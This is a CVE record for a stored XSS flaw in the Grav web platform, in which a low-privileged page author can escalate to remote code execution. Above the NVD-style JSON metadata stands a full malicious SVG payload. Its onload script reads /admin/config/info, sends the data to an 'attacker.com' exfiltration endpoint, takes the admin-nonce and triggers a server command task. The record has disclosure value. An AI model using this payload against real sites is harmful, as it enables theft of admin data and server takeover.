CVE-2026-42611

<!-- Malicious SVG payload to be injected into a page content --> <svg xmlns="http://www.w3.org/2000/svg" onload=" // Step 1: Fetch system configuration information fetch('/admin/config/info') .then(response => response.json()) .then(data => { // Step 2: Exfiltrate data to attacker's controlled server // Note: In a real attack, replace 'attacker.com' with actual endpoint fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(data) }); // Step 3: Extract admin-nonce from the response or DOM // (Implementation depends on specific Grav response structure) const nonce = data.nonce || document.querySelector('input[name="admin-nonce"]').value; if (nonce) { // Step 4: Chain with admin-nonce to perform RCE // Example: Triggering a task that executes a command fetch('/admin/tools/task', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' }, body: `admin-nonce=${nonce}&task=command&cmd=whoami` }); } }); "> <text>XSS Trigger</text> </svg>

{"cve": {"id": "CVE-2026-42611", "sourceIdentifier": "[email protected]", "published": "2026-05-11T16:17:34.173", "lastModified": "2026-05-11T19:16:24.050", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a low-privileged (with the ability to create a page) user can cause XSS with the injection of svg element. The XSS can further be escalated to dump the entire system information available under /admin/config/info whenever a Super Admin visits the page; which can further be chained with the use of admin-nonce to do a complete server compromise (RCE). This vulnerability is fixed in 2.0.0-beta.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:H", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/getgrav/grav/commit/5a12f9be8314682c8713e569e330f11805d0a663", "source": "[email protected]"}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-w8cg-7jcj-4vv2", "source": "[email protected]"}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-w8cg-7jcj-4vv2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}